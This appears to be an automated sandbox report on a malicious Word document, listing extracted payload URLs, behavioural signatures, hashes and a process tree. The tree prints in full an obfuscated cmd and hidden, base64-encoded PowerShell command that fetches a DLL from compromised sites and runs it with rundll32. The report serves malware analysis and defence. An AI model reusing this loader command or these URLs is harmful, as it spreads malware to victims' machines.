Analysis
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max time kernel
145s -
max time network
147s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 14:59
Behavioral task
behavioral1
Sample
besked_2821599 364436.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
besked_2821599 364436.doc
Resource
win10v20201028
General
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Target
besked_2821599 364436.doc
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Size
158KB
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MD5
d5000b230a8233a3a2accf351349dc61
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SHA1
ab2281d43fd61122ef577b24f33b3376823f76f2
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SHA256
1be61e9a502a880e31d7732ee6c82c0aaf3bd5ae7e30654f42755e51bda9d2ba
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SHA512
f7d76f41a0c2f224e24841f2145e1542846b9d709d4bdc3ed1dfeeded9f734c116d55f2d09665ecb8c12d96dfedf77f8e44a849e4768e1b1b53ae41e68517371
Malware Config
Extracted
http://fynart.com/wp-admin/aNuMy/
http://dermedicoclinic.com/js/NElI8ZC/
http://geolifesciences.com/font/r/
http://rollinghood.com/how-to-ifwed/buj6VQx/
http://jardindhelena.com/wp-content/u20/
http://kingshowworldshoppingmall.com/cgi-bin/Ga/
http://davinciworldshoppingmall.com/cgi-bin/Eh/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 196 3340 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 19 4088 powershell.exe 27 2836 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3528 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Rlpwsjniqphmvdh\rdpegojkwozyws.rfg rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 640 WINWORD.EXE 640 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 4088 powershell.exe 4088 powershell.exe 4088 powershell.exe 2836 rundll32.exe 2836 rundll32.exe 2836 rundll32.exe 2836 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4088 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 640 WINWORD.EXE 640 WINWORD.EXE 640 WINWORD.EXE 640 WINWORD.EXE 640 WINWORD.EXE 640 WINWORD.EXE 640 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 196 wrote to memory of 2328 196 cmd.exe msg.exe PID 196 wrote to memory of 2328 196 cmd.exe msg.exe PID 196 wrote to memory of 4088 196 cmd.exe powershell.exe PID 196 wrote to memory of 4088 196 cmd.exe powershell.exe PID 4088 wrote to memory of 2612 4088 powershell.exe rundll32.exe PID 4088 wrote to memory of 2612 4088 powershell.exe rundll32.exe PID 2612 wrote to memory of 3528 2612 rundll32.exe rundll32.exe PID 2612 wrote to memory of 3528 2612 rundll32.exe rundll32.exe PID 2612 wrote to memory of 3528 2612 rundll32.exe rundll32.exe PID 3528 wrote to memory of 2836 3528 rundll32.exe rundll32.exe PID 3528 wrote to memory of 2836 3528 rundll32.exe rundll32.exe PID 3528 wrote to memory of 2836 3528 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\besked_2821599 364436.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAkAEYATQBYACAAIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE8ALgAnACwAJwBTAFkAcwB0ACcALAAnAC4AaQAnACwAJwBFAG0AJwAsACcAZABJAHIAZQBjAFQATwByAHkAJwApACAAOwAgACQAaQBzAG8AZgBlAFcAPQAgACAAWwBUAFkAcABlAF0AKAAiAHsANAB9AHsAMQB9AHsAMAB9AHsAMwB9AHsANQB9AHsANgB9AHsAOAB9AHsAMgB9AHsANwB9ACIAIAAtAEYAJwBlAE0ALgAnACwAJwBTAFQAJwAsACcASQBuAFQATQBBACcALAAnAE4ARQB0AC4AJwAsACcAUwB5ACcALAAnAFMARQAnACwAJwBSAFYASQAnACwAJwBuAGEAZwBlAHIAJwAsACcAQwBlAHAATwAnACkAIAA7ACAAIAAkAEUANgBjAGIAMgA2AGUAPQAkAFAANQA4AEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAMgA1AE0AOwAkAEcAMQAxAFUAPQAoACcARwA3ACcAKwAnADEAVAAnACkAOwAgACgAIABnAGUAVAAtAHYAQQByAGkAQQBiAGwAZQAgAGYAbQBYACAAIAAtAFYAYQBsAHUAZQBvACAAIAApADoAOgAiAGMAUgBgAEUAQQBUAEUAZABJAGAAUgBFAGAAYwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHkAVQAnACsAJwBYAEUANgBuAHgAMwAnACsAJwA4ADUAJwApACsAKAAnAHkAJwArACcAVQBYACcAKQArACgAJwBBAGgAagAnACsAJwAyAHYAJwApACsAJwB4ACcAKwAnAG4AeQAnACsAJwBVACcAKwAnAFgAJwApAC4AIgByAEUAYABQAGwAYQBjAGUAIgAoACgAWwBjAGgAQQBSAF0AMQAyADEAKwBbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQA4ADgAKQAsACcAXAAnACkAKQApADsAJABEAF8AMwBNAD0AKAAoACcAQwAnACsAJwBfADcAJwApACsAJwBHACcAKQA7ACAAIAAoACAAIABWAGEAcgBJAGEAQgBsAGUAIAAoACcASQBTAG8AZgAnACsAJwBFAHcAJwApACkALgBWAGEAbABVAEUAOgA6ACIAUwBgAGUAYwB1AFIASQBUAFkAUABSAG8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQA2ADYASwA9ACgAKAAnAEgAJwArACcAMwAxACcAKQArACcAVgAnACkAOwAkAEsAMwAyADAAMgBzAF8AIAA9ACAAKAAoACcAVAAnACsAJwBfADIAJwApACsAJwBTACcAKQA7ACQAVAA3ADMARQA9ACgAKAAnAEQANwAnACsAJwAwACcAKQArACcARwAnACkAOwAkAEMAMQBlADgAXwByAHYAPQAkAEgATwBNAEUAKwAoACgAKAAnAEcAJwArACcAagBIACcAKQArACcARQAnACsAKAAnADYAbgB4ADMAOAA1ACcAKwAnAEcAagBIAEEAaABqACcAKwAnADIAdgAnACkAKwAnAHgAJwArACgAJwBuACcAKwAnAEcAagAnACkAKwAnAEgAJwApAC4AIgBSAEUAcABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQA3ADEAKwBbAGMAaABhAHIAXQAxADAANgArAFsAYwBoAGEAcgBdADcAMgApACwAJwBcACcAKQApACsAJABLADMAMgAwADIAcwBfACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQAUQAzADIAQwA9ACgAJwBUADcAJwArACcAMgBGACcAKQA7ACQARABoAHEAYgA1AGIAeAA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwAnACsAJwBEACcAKwAnADoAJwArACcALwAvAGYAeQBuAGEAJwApACsAKAAnAHIAJwArACcAdAAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AYQAnACkAKwAoACcATgAnACsAJwB1ACcAKwAnAE0AeQAvAEAAJwArACcAQQBdAFsAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAnACsAJwAvAGQAZQAnACkAKwAoACcAcgAnACsAJwBtAGUAZABpAGMAbwBjAGwAaQAnACsAJwBuAGkAJwArACcAYwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGoAcwAvAE4ARQBsACcAKQArACgAJwBJADgAWgAnACsAJwBDAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBnAGUAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAaQAnACsAJwBlAG4AYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAZgBvACcAKwAnAG4AJwArACgAJwB0AC8AcgAvAEAAQQAnACsAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEADoALwAvACcAKwAnAHIAbwAnACkAKwAnAGwAbAAnACsAKAAnAGkAJwArACcAbgBnAGgAJwArACcAbwAnACsAJwBvAGQALgBjAG8AbQAvACcAKwAnAGgAbwB3ACcAKQArACgAJwAtACcAKwAnAHQAbwAtAGkAZgB3ACcAKQArACcAZQBkACcAKwAoACcALwBiAHUAagA2ACcAKwAnAFYAJwApACsAKAAnAFEAeAAvAEAAJwArACcAQQBdAFsAcQAnACsAJwBbAEQAOgAvACcAKwAnAC8AJwArACcAagBhACcAKQArACcAcgBkACcAKwAoACcAaQBuAGQAaAAnACsAJwBlAGwAJwArACcAZQAnACkAKwAoACcAbgBhAC4AYwAnACsAJwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwB1ACcAKwAnADIAMAAvACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAoACcARAA6AC8AJwArACcALwAnACkAKwAoACcAawBpACcAKwAnAG4AJwApACsAJwBnACcAKwAnAHMAJwArACgAJwBoAG8AJwArACcAdwB3AG8AJwApACsAJwByAGwAJwArACgAJwBkACcAKwAnAHMAJwArACcAaABvAHAAcABpAG4AZwAnACkAKwAoACcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACcALwBjACcAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcARwBhAC8AQABBACcAKwAnAF0AWwBxACcAKwAnAFsARAA6ACcAKwAnAC8ALwBkAGEAJwArACcAdgBpAG4AJwApACsAKAAnAGMAaQB3ACcAKwAnAG8AJwArACcAcgBsAGQAcwAnACkAKwAnAGgAbwAnACsAKAAnAHAAcAAnACsAJwBpAG4AJwApACsAKAAnAGcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAKAAnAGcAaQAnACsAJwAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvAEUAaAAnACsAJwAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBgAGMARQAiACgAKAAnAEEAXQAnACsAKAAnAFsAcQBbACcAKwAnAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQAnACkAKwAnAHcAZgAnACkALAAoACgAJwB3ACcAKwAnAGUAdgB3ACcAKQArACcAZQAnACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACkAKQBbADIAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABSADcAOABKACAAKwAgACQARQA2AGMAYgAyADYAZQAgACsAIAAkAEEANgAzAEcAKQA7ACQARQA5ADYAVgA9ACgAJwBPADkAJwArACcANQBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWAByAHEAcAA5AGUANQAgAGkAbgAgACQARABoAHEAYgA1AGIAeAApAHsAdAByAHkAewAoACYAKAAnAE4AZQAnACsAJwB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAcwB5AHMAVABFAE0ALgBuAEUAdAAuAFcARQBCAEMATABJAGUAbgBUACkALgAiAEQATwB3AGAATgBsAG8AYABBAGQAZgBpAGAAbABFACIAKAAkAFgAcgBxAHAAOQBlADUALAAgACQAQwAxAGUAOABfAHIAdgApADsAJABHADgAMwBYAD0AKAAoACcAQwAnACsAJwAxAF8AJwApACsAJwBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADEAZQA4AF8AcgB2ACkALgAiAGwAYABlAG4AZwB0AEgAIgAgAC0AZwBlACAANAA0ADkANwAzACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAJwArACcAbABsADMAMgAnACkAIAAkAEMAMQBlADgAXwByAHYALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbAAnACsAJwBvAGcAJwApACsAJwBBACcAKQAuACIAdABgAG8AcwBUAGAAUgBpAG4AZwAiACgAKQA7ACQAVQBfADYAWgA9ACgAJwBYACcAKwAoACcAMAAnACsAJwA1AFoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAOAAwAEkAPQAoACgAJwBSADQAJwArACcAXwAnACkAKwAnAFEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABFADAAMgBBAD0AKAAnAEoAJwArACgAJwA5ACcAKwAnADcAUQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAkAEYATQBYACAAIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE8ALgAnACwAJwBTAFkAcwB0ACcALAAnAC4AaQAnACwAJwBFAG0AJwAsACcAZABJAHIAZQBjAFQATwByAHkAJwApACAAOwAgACQAaQBzAG8AZgBlAFcAPQAgACAAWwBUAFkAcABlAF0AKAAiAHsANAB9AHsAMQB9AHsAMAB9AHsAMwB9AHsANQB9AHsANgB9AHsAOAB9AHsAMgB9AHsANwB9ACIAIAAtAEYAJwBlAE0ALgAnACwAJwBTAFQAJwAsACcASQBuAFQATQBBACcALAAnAE4ARQB0AC4AJwAsACcAUwB5ACcALAAnAFMARQAnACwAJwBSAFYASQAnACwAJwBuAGEAZwBlAHIAJwAsACcAQwBlAHAATwAnACkAIAA7ACAAIAAkAEUANgBjAGIAMgA2AGUAPQAkAFAANQA4AEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAMgA1AE0AOwAkAEcAMQAxAFUAPQAoACcARwA3ACcAKwAnADEAVAAnACkAOwAgACgAIABnAGUAVAAtAHYAQQByAGkAQQBiAGwAZQAgAGYAbQBYACAAIAAtAFYAYQBsAHUAZQBvACAAIAApADoAOgAiAGMAUgBgAEUAQQBUAEUAZABJAGAAUgBFAGAAYwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHkAVQAnACsAJwBYAEUANgBuAHgAMwAnACsAJwA4ADUAJwApACsAKAAnAHkAJwArACcAVQBYACcAKQArACgAJwBBAGgAagAnACsAJwAyAHYAJwApACsAJwB4ACcAKwAnAG4AeQAnACsAJwBVACcAKwAnAFgAJwApAC4AIgByAEUAYABQAGwAYQBjAGUAIgAoACgAWwBjAGgAQQBSAF0AMQAyADEAKwBbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQA4ADgAKQAsACcAXAAnACkAKQApADsAJABEAF8AMwBNAD0AKAAoACcAQwAnACsAJwBfADcAJwApACsAJwBHACcAKQA7ACAAIAAoACAAIABWAGEAcgBJAGEAQgBsAGUAIAAoACcASQBTAG8AZgAnACsAJwBFAHcAJwApACkALgBWAGEAbABVAEUAOgA6ACIAUwBgAGUAYwB1AFIASQBUAFkAUABSAG8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQA2ADYASwA9ACgAKAAnAEgAJwArACcAMwAxACcAKQArACcAVgAnACkAOwAkAEsAMwAyADAAMgBzAF8AIAA9ACAAKAAoACcAVAAnACsAJwBfADIAJwApACsAJwBTACcAKQA7ACQAVAA3ADMARQA9ACgAKAAnAEQANwAnACsAJwAwACcAKQArACcARwAnACkAOwAkAEMAMQBlADgAXwByAHYAPQAkAEgATwBNAEUAKwAoACgAKAAnAEcAJwArACcAagBIACcAKQArACcARQAnACsAKAAnADYAbgB4ADMAOAA1ACcAKwAnAEcAagBIAEEAaABqACcAKwAnADIAdgAnACkAKwAnAHgAJwArACgAJwBuACcAKwAnAEcAagAnACkAKwAnAEgAJwApAC4AIgBSAEUAcABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQA3ADEAKwBbAGMAaABhAHIAXQAxADAANgArAFsAYwBoAGEAcgBdADcAMgApACwAJwBcACcAKQApACsAJABLADMAMgAwADIAcwBfACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQAUQAzADIAQwA9ACgAJwBUADcAJwArACcAMgBGACcAKQA7ACQARABoAHEAYgA1AGIAeAA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwAnACsAJwBEACcAKwAnADoAJwArACcALwAvAGYAeQBuAGEAJwApACsAKAAnAHIAJwArACcAdAAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AYQAnACkAKwAoACcATgAnACsAJwB1ACcAKwAnAE0AeQAvAEAAJwArACcAQQBdAFsAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAnACsAJwAvAGQAZQAnACkAKwAoACcAcgAnACsAJwBtAGUAZABpAGMAbwBjAGwAaQAnACsAJwBuAGkAJwArACcAYwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGoAcwAvAE4ARQBsACcAKQArACgAJwBJADgAWgAnACsAJwBDAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBnAGUAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAaQAnACsAJwBlAG4AYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAZgBvACcAKwAnAG4AJwArACgAJwB0AC8AcgAvAEAAQQAnACsAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEADoALwAvACcAKwAnAHIAbwAnACkAKwAnAGwAbAAnACsAKAAnAGkAJwArACcAbgBnAGgAJwArACcAbwAnACsAJwBvAGQALgBjAG8AbQAvACcAKwAnAGgAbwB3ACcAKQArACgAJwAtACcAKwAnAHQAbwAtAGkAZgB3ACcAKQArACcAZQBkACcAKwAoACcALwBiAHUAagA2ACcAKwAnAFYAJwApACsAKAAnAFEAeAAvAEAAJwArACcAQQBdAFsAcQAnACsAJwBbAEQAOgAvACcAKwAnAC8AJwArACcAagBhACcAKQArACcAcgBkACcAKwAoACcAaQBuAGQAaAAnACsAJwBlAGwAJwArACcAZQAnACkAKwAoACcAbgBhAC4AYwAnACsAJwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwB1ACcAKwAnADIAMAAvACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAoACcARAA6AC8AJwArACcALwAnACkAKwAoACcAawBpACcAKwAnAG4AJwApACsAJwBnACcAKwAnAHMAJwArACgAJwBoAG8AJwArACcAdwB3AG8AJwApACsAJwByAGwAJwArACgAJwBkACcAKwAnAHMAJwArACcAaABvAHAAcABpAG4AZwAnACkAKwAoACcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACcALwBjACcAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcARwBhAC8AQABBACcAKwAnAF0AWwBxACcAKwAnAFsARAA6ACcAKwAnAC8ALwBkAGEAJwArACcAdgBpAG4AJwApACsAKAAnAGMAaQB3ACcAKwAnAG8AJwArACcAcgBsAGQAcwAnACkAKwAnAGgAbwAnACsAKAAnAHAAcAAnACsAJwBpAG4AJwApACsAKAAnAGcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAKAAnAGcAaQAnACsAJwAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvAEUAaAAnACsAJwAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBgAGMARQAiACgAKAAnAEEAXQAnACsAKAAnAFsAcQBbACcAKwAnAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQAnACkAKwAnAHcAZgAnACkALAAoACgAJwB3ACcAKwAnAGUAdgB3ACcAKQArACcAZQAnACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACkAKQBbADIAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABSADcAOABKACAAKwAgACQARQA2AGMAYgAyADYAZQAgACsAIAAkAEEANgAzAEcAKQA7ACQARQA5ADYAVgA9ACgAJwBPADkAJwArACcANQBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWAByAHEAcAA5AGUANQAgAGkAbgAgACQARABoAHEAYgA1AGIAeAApAHsAdAByAHkAewAoACYAKAAnAE4AZQAnACsAJwB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAcwB5AHMAVABFAE0ALgBuAEUAdAAuAFcARQBCAEMATABJAGUAbgBUACkALgAiAEQATwB3AGAATgBsAG8AYABBAGQAZgBpAGAAbABFACIAKAAkAFgAcgBxAHAAOQBlADUALAAgACQAQwAxAGUAOABfAHIAdgApADsAJABHADgAMwBYAD0AKAAoACcAQwAnACsAJwAxAF8AJwApACsAJwBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADEAZQA4AF8AcgB2ACkALgAiAGwAYABlAG4AZwB0AEgAIgAgAC0AZwBlACAANAA0ADkANwAzACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAJwArACcAbABsADMAMgAnACkAIAAkAEMAMQBlADgAXwByAHYALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbAAnACsAJwBvAGcAJwApACsAJwBBACcAKQAuACIAdABgAG8AcwBUAGAAUgBpAG4AZwAiACgAKQA7ACQAVQBfADYAWgA9ACgAJwBYACcAKwAoACcAMAAnACsAJwA1AFoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAOAAwAEkAPQAoACgAJwBSADQAJwArACcAXwAnACkAKwAnAFEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABFADAAMgBBAD0AKAAnAEoAJwArACgAJwA5ACcAKwAnADcAUQAnACkAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rlpwsjniqphmvdh\rdpegojkwozyws.rfg",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dllMD5
2b26b868102f32d8726a3df440fa91d1
SHA1f86316e3c6358f21dc092a61165d5fe3a7370f1b
SHA256bd80c6b05957aefc390bb2e8fd2ce13042e4bd8d8a8f622c523e48d111c5dd49
SHA512f61c0507b88b497099ee1636087494ac617d74573ad2fe12b1da154c6cc8c1315144e9810ddd2389f5f7ece708dbc6feb3045e31d6a427d011af43bde613dcf9
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\Users\Admin\E6nx385\Ahj2vxn\T_2S.dllMD5
2b26b868102f32d8726a3df440fa91d1
SHA1f86316e3c6358f21dc092a61165d5fe3a7370f1b
SHA256bd80c6b05957aefc390bb2e8fd2ce13042e4bd8d8a8f622c523e48d111c5dd49
SHA512f61c0507b88b497099ee1636087494ac617d74573ad2fe12b1da154c6cc8c1315144e9810ddd2389f5f7ece708dbc6feb3045e31d6a427d011af43bde613dcf9
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memory/640-2-0x00007FF9FCB10000-0x00007FF9FD147000-memory.dmpFilesize
6.2MB
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memory/2328-3-0x0000000000000000-mapping.dmp
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memory/2612-8-0x0000000000000000-mapping.dmp
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memory/2836-12-0x0000000000000000-mapping.dmp
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memory/3528-10-0x0000000000000000-mapping.dmp
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memory/4088-4-0x0000000000000000-mapping.dmp
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memory/4088-5-0x00007FF9F5B30000-0x00007FF9F651C000-memory.dmpFilesize
9.9MB
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memory/4088-6-0x00000268DD900000-0x00000268DD901000-memory.dmpFilesize
4KB
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memory/4088-7-0x00000268DDAB0000-0x00000268DDAB1000-memory.dmpFilesize
4KB